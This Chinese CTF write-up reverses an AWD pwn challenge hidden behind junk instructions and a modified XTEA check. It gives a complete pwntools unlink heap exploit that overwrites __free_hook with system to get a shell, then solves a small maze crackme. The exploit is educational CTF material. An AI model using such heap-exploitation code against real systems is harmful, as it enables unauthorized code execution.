虽说这是一道 PWN 题,但在 Y7n05h 看来这道题的最重要的部分不是 PWN,而是逆向工程.本题的 PWN 部分十分简单,出题人在逆向工程部分设下了多个障碍.下面就听 Y7n05h 逐一说明.

下面是 IDA 生成的伪码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 __fastcall sub_400BFD(unsigned int *a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-3Ch]
unsigned int v3; // [rsp+20h] [rbp-38h]
unsigned int v4; // [rsp+24h] [rbp-34h]
unsigned int v5; // [rsp+28h] [rbp-30h]
int v6[6]; // [rsp+38h] [rbp-20h]
unsigned __int64 v7; // [rsp+50h] [rbp-8h]

v7 = __readfsqword(0x28u);
v6[0] = 674697780;
v6[1] = 422065475;
v6[2] = 423118625;
v6[3] = -1741216238;
v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i <= 31; ++i )
{
v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
v5 -= 1640531527;
v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
_BOOL8 __fastcall sub_400DB8(_BYTE *a1)
{
sub_400BFD(a1);
return *a1 == 20
&& a1[1] == 92
&& a1[2] == 0xA6
&& a1[3] == 0xD2
&& a1[4] == 14
&& a1[5] == 69
&& a1[6] == 9
&& a1[7] == 119;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char v4[16]; // [rsp+18h] [rbp-50h] BYREF
char buf[16]; // [rsp+28h] [rbp-40h] BYREF
char v6[40]; // [rsp+38h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+60h] [rbp-8h]

v7 = __readfsqword(0x28u);
sub_40091D(a1, a2, a3);
puts("Happy to see you darling!");
puts("Give me your name:");
read(0, buf, 0x10uLL);
puts("Give me your key:");
read(0, v4, 0x20uLL);
puts("Now start the game!");
do
{
puts("Input your password!:");
read(0, v6, 0x2CuLL);
result = sub_400DB8(v6);
}
while ( (_DWORD)result != 1 );
return result;
}

Y7n05h 在伪码中没有找到任何漏洞.

难道这是个栈题,漏洞存在于 sub_400BFD() 里面吗?

通过 IDA 插件 Findcrypt 得到 TEA_DELTA_400C64 的内容.通过搜索引擎得知 TEA 加密算法.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
uint32_t delta = 0x9e3779b9;//常数 可更改

void tea_encrypt(uint32_t s[2], const uint32_t key[4]) {


uint32_t l = s[0];
uint32_t r = s[1];
uint32_t sum = 0;
for (int i = 0; i < 32; ++i) {
l += (((r >> 5) ^ (r << 4)) + r) ^ (key[sum & 3] + sum);
sum += delta;
r += (((l >> 5) ^ (l << 4)) + l) ^ (key[(sum >> 11) & 3] + sum);
}
s[0] = l;
s[1] = r;
}
void tea_decrypt(uint32_t v[2], const uint32_t key[4]) {
uint32_t l = v[0], r = v[1];

uint32_t sum = delta << 5;
for (int i = 0; i < 32; i++) {
r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
}
v[0] = l;
v[1] = r;
}

通过,对比 tea_encrypt()sub_400BFD(),Y7n05h 认为 sub_400BFD() 就是使用 TEA 算法加密一个 64 bits 的分组的函数.

噢,或许会有读者觉得:

tea_encrypt() 中是:

1
sum += delta;

sub_400BFD() 中是:

1
v5 -= 1640531527;

这两处不但数值不同,而且一处为加法,一处为减法,怎么能说 sub_400BFD()tea_encrypt() 等价呢?

有这样的顾虑的读者,请别忘了,有符号整形采用二进制补码存储,因此减去 1640531527 也就是加上 0x9e3779b9.

因此,Y7n05h 认为这两个函数完全等价(这个结论在当前是正确的),也就是说 sub_400BFD()TEA 加密算法的一种实现,那么就能得知 sub_400BFD() 加密的内容可用 tea_decrypt() 解密.

先别急着去解密密文,别忘了这是 PWN 题,不是逆向题,那么漏洞在哪里呢?Y7n05h 并没有找到.

在紧张的 AWD 比赛中,Y7n05h 对此题没有更多的进展了.在 Y7n05h 发现自己做不出此题后,Y7n05h 决定先开始防御.Y7n05h 写出了下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <unistd.h>
int main(void) {
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buf[0x50];
puts("Happy to see you darling!");
puts("Give me your name:");
read(0, buf, 0x10uLL);
puts("Give me your key:");
read(0, buf, 0x20uLL);
puts("Now start the game!");
do {
puts("Input your password!:");
read(0, buf, 0x2CuLL);
} while (1);
}

为了防止别的队伍 PWN 掉 Y7n05h 的靶机,Y7n05h 编译了上面的代码,替换了靶机中的程序.Y7n05h 看了看比赛平台上并未将靶机判为宕机状态,于是 Y7n05h 知道这样的改动通过了 check.(「摸一把」战队的大师傅在赛后告诉 Y7n05h 这是比赛方设置的 check 过于宽松,在多数的比赛中 check 将检查原程序与靶机上运行的程序的大小差异,差异过大不能通过 check)Y7n05h 这样的改动通过了 checks 纯属侥幸,请各位读者 不要 学习.

那么使用密钥(v6 的前 128 bits,也就是下面的 key):

1
2
3
4
5
uint32_t key[4] =
{0x28371234,
0x19283543,
0x19384721,
0x98372612};

解密密文分组:

1
uint8_t message[9] = {0x14, 0x5c, 0xa6, 0xd2, 0x0e, 0x45, 0x09, 0x77};

通过 pwntools 将得到的明文分组,在程序中输入,得到密码输入错误的提示.

Y7n05h 尝试提取 sub_400BFD() 的伪码修改并编译,输入上面获得的明文分组和密钥,成功的得到了密文分组.
Y7n05h 又去尝试使用 gdb 追踪 sub_400BFD() 的解密过程,发现 sub_400BFD() 结束后,得到了不同于预期的密文分组.

这真是一件令 Y7n05h 感到费解的事!使用 tea_decrypt() 解密密文得到的明文,输入至 tea_encrypt() 或 IDA 中复制出的 sub_400BFD() 能得到相同的密文分组,但若输入至 nowaypwn 程序中,则能得到异于前面的 tea_encrypt() 的输出的密文分组.

这真是奇怪!Y7n05h 开始思考是不是 sub_400BFD() 中是不是存在 C 语言中的 Undefined Behavior 导致了不同的执行结果.

就在 Y7n05h 试图对比通过编译 sub_400BFD() 伪码得到的汇编代码与反汇编 nowaypwn 得到的汇编代码时,发现:

1
2
3
4
.text:0000000000400CF2                 call    $+5
.text:0000000000400CF7 add [rsp+58h+var_58], 6
.text:0000000000400CFC retn
.text:0000000000400CFC sub_400BFD endp ; sp-analysis failed

IDA 的报错是因为这里存在花指令,Y7n05h 在这里贴出的部分全都是用于干扰反汇编、反编译工具的花指令,有兴趣知道这些指令为什么能干扰反汇编、反编译工具的读者可以通过 GDB 追踪这三个指令的执行.

通过 IDApatch 功能将这些花指令改为 nop,然后使用 IDA 重新分析程序即可得到完整的 sub_400BFD() 伪码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall sub_400BFD(unsigned int *a1)
{
int i; // [rsp+14h] [rbp-3Ch]
int j; // [rsp+14h] [rbp-3Ch]
unsigned int v4; // [rsp+18h] [rbp-38h]
unsigned int v5; // [rsp+18h] [rbp-38h]
unsigned int v6; // [rsp+1Ch] [rbp-34h]
unsigned int v7; // [rsp+1Ch] [rbp-34h]
unsigned int v8; // [rsp+20h] [rbp-30h]
unsigned int v9; // [rsp+20h] [rbp-30h]
unsigned int v10; // [rsp+24h] [rbp-2Ch]
unsigned int v11; // [rsp+28h] [rbp-28h]
int v12[6]; // [rsp+30h] [rbp-20h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
v10 = *a1;
v11 = a1[1];
v12[0] = 674697780;
v12[1] = 422065475;
v12[2] = 423118625;
v12[3] = -1741216238;
v4 = *a1;
v6 = a1[1];
v8 = 0;
for ( i = 0; i <= 31; ++i )
{
v4 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
v8 -= 1640531527;
v6 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
}
*a1 = v4;
a1[1] = v6;
v5 = v10;
v7 = v11;
v9 = 0;
for ( j = 0; j <= 8; ++j )
{
v5 += (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
v9 += 0x19286521;
v7 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
}
*a1 = v5;
a1[1] = v7;
return __readfsqword(0x28u) ^ v13;
}

通过分析这段伪码就能发现,TEA 算法生成的密文分组并未被使用,程序中真正使用的是另一个加密算法.最终,可知这是 XTEA 算法.
这是 Y7n05h 通过搜索找到的 XTEA 算法实现.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdint.h>
#define delta 0x9E3779B9U//常量 可更改
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
uint32_t v0 = v[0], v1 = v[1], sum = 0;
for (int i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0;
v[1] = v1;
}

void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
uint32_t v0 = v[0], v1 = v[1], sum = delta * num_rounds;
for (int i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}

通过对比能确认这里使用的算法就是修改了 delta 常量的 XTEA 算法.

其实不但这里(0x400CF2)有花指令,在 0x400EEE0x400B44 也有花指令,patch 掉这些花指令之后,使用 IDA 重新生成伪码,就能清晰的看到漏洞所在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t Edit()
{
ssize_t result; // rax
unsigned __int64 Idx; // [rsp+8h] [rbp-8h]

Idx = get_Idx();
if ( Idx > 0x10 || !Arr[2 * Idx] || !Size[2 * Idx] )
exit(0);
read(0, Arr[2 * Idx], Size[2 * Idx]);
result = Size[2 * Idx];
if ( result == 0x66 )
return read(0, Arr[2 * Idx], 0x80uLL);
return result;
}

这里的溢出过于刻意,相信所有人在 patch 掉这些花指令之后都能十分容易的发现这里的漏洞.

漏洞利用

在得到完整的伪码后,就能知道,本题目使用的加密算法是修改了常数的 XTEA 算法.修改 XTEA 的解密算法的常数后,解密得到:skdmaje1

根据伪码写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug', os='linux', arch='amd64')

path = '/home/admin/pwn/nowaypwn'
libcpath = '/home/admin/pwn/libc.so.6'

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)

passwd = b'skdmaje1'

r.sendafter(":\n", b'123') # name
r.sendafter(":\n", b'123') # key
r.sendafter(":\n", passwd) # passwd


def up6(addr_port: bytes):
log.debug("get bytes"+addr_port.hex())
recvlen = len(addr_port)
log.debug("recv len "+hex(recvlen))
assert(recvlen == 6)

return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def Alloc(size: int):
r.sendline(b'1')
r.sendline(i2b(size))


def Delete(idx: int):
r.sendline(b'2')
r.sendline(i2b(idx))


def Edit(idx: int, content: bytes):
r.sendline(b'3')
r.sendline(i2b(idx))
r.send(content)


def Show(idx: int):
r.sendline(b'4')
r.sendline(i2b(idx))


def Get_pr(idx: int):
return 0x6020C0+idx*0x10

由于本题并未开启 PIE,Y7n05h 选择使用 Unlink 去完成本题目.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Alloc(0x30)  # 0
Alloc(0x30) # 1
Alloc(0x66) # 2
Alloc(0x100) # 3
Alloc(0x10) # 4

Edit(0, b'/bin/sh\x00')

Edit(2, cyclic(0x66))
chunk2_pr = Get_pr(2)
payload = flat(0, 0x21, chunk2_pr-0x18, chunk2_pr -
0x10, 0x20).ljust(0x60)+flat(0x60, 0x110)
r.send(payload) # size 为 0x66 触发再次读取,产生溢出

# Unlink
Delete(3)

payload = flat(8, elf.got['puts'], 0x8, Get_pr(1), 8)
Edit(2, payload)
r.send(p64(elf.got['puts'])) # size 为 0x66 触发再次读取

Show(1)
puts_addr = up6(r.recv(6))
libc_base = puts_addr-libc.symbols['puts']
free_hook_addr = libc.symbols['__free_hook']+libc_base
system_addr = libc.symbols['system']+libc_base
payload = p64(free_hook_addr)
Edit(2, payload)
Edit(1, p64(system_addr))
Delete(0)
r.interactive()

因为本题的 PWN 部分十分简单,Y7n05h 就不解释 exp 的每行的作用了.

最后,再次感谢「摸一把」战队的大师傅,Y7n05h 在比赛中没找到漏洞点,有花指令隐藏了漏洞点是 Y7n05h 赛后从「摸一把」战队的大师傅那里得知的.

「不一样的 flag」 题解

不一样的flag

info
题目来源
不一样的flag.

解题过程

首先查找一下,没发现程序有壳,那便直接使用反编译工具直接获得程序的代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // [esp+17h] [ebp-35h]
int v4; // [esp+30h] [ebp-1Ch]
int v5; // [esp+34h] [ebp-18h]
signed int v6; // [esp+38h] [ebp-14h]
int i; // [esp+3Ch] [ebp-10h]
int v8; // [esp+40h] [ebp-Ch]

__main();
v4 = 0;
v5 = 0;
qmemcpy(&v3, _data_start__, 0x19u);
while ( 1 )
{
puts("you can choose one action to execute");
puts("1 up");
puts("2 down");
puts("3 left");
printf("4 right\n:");
scanf("%d", &v6);
if ( v6 == 2 )
{
++v4;
}
else if ( v6 > 2 )
{
if ( v6 == 3 )
{
--v5;
}
else
{
if ( v6 != 4 )
LABEL_13:
exit(1);
++v5;
}
}
else
{
if ( v6 != 1 )
goto LABEL_13;
--v4;
}
for ( i = 0; i <= 1; ++i )
{
if ( *(&v4 + i) < 0 || *(&v4 + i) > 4 )
exit(1);
}
if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 49 )
exit(1);
if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 35 )
{
puts("\nok, the order you enter is the flag!");
exit(0);
}
}
}

注意到第 13 行 qmemcpy(&v3, _data_start__, 0x19u); 不必多想,直接得出结论,程序将 _data_start__ 复制到了 v3 的位置.查看 _data_start__ 存放的内容为:*11110100001010000101111# 含有 0x19 个字符(不计算 \0).
不必担心 char v3; 无法存储 _data_start__ 导致程序错误的问题,_data_start__
栈区空间图

可以看到 v3v4 间留有巨大的空隙,从 v3v4 的空间恰好能存储整个字符串(除了 \0).

剩下的一切就不是那么的困难了,仔细看代码会发现输入的值(即v6)只能为 1234,其余的值均会导致程序执行 exit(1); (即 exit(EXIT_FAILURE);).继续看代码可发现一个对应关系

方向输入的值变量变化
Up1--v4
Down2++v4
Left3--v5
Right4++v5

可发现,这正对应着一个「以竖直向下为 x 轴正方向、以水平向右为 y 轴正方向」的平面直角坐标系,即有 :「v4 代表 x 轴坐标v5 代表 y 轴坐标」.

考察第 51 行、第 53 行代码,会发现 49=='1' 并且 35=='#' .然后分析看 *((_BYTE *)&v8 + 5 * v4 + v5 - 41)_BYTE 表示 1 byte 也就是 char 类型,那也就是 *((char *)&v8 + 5 * v4 + v5 - 41) ,看 v8 的地址是 esp+40h,那么 (char *)&v8 - 41 就是 esp + 40h - 41 == esp + 17h,也就是 &v3.那么就得到了最终的结论,*((_BYTE *)&v8 + 5 * v4 + v5 - 41) 就是 v3[5 * v4 + v5]

刚才说过,「v4 代表 x 轴坐标v5 代表 y 轴坐标」.还记得 *11110100001010000101111# 含有 0x19 个字符(不计算 \0)吗?

01234
56789
1011121314
1516171819
2021222324

0 作为坐标原点建立「以竖直向下为 x 轴正方向、以水平向右为 y 轴正方向」,「v4 代表 x 轴坐标v5 代表 y 轴坐标」就会发现 5 * v4 + v5 的值正是上标中格子的序号.而 5 * v4 + v5 正是 v3 的索引值.

这说明 v3 存储的实际上是一个被压扁地图,也就是下表中的模样.

*1111
01000
01010
00010
1111#

分析第 53 行代码,if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 35 )在刚才的分析中已经明白其等价于 if (v3[5 * v4 + v5] == '#') ,只有满足该条件才会执行 exit(0);(即 exit(EXIT_SUCCESS);).那么本题的分析就全部结束了,只需要寻找按照全为 0 的路径移动即可到达 # 的位置.那么就可以轻松的得到 flag222441144222.当然也还需要用 flag{} 包上,得到最终答案 flag{222441144222}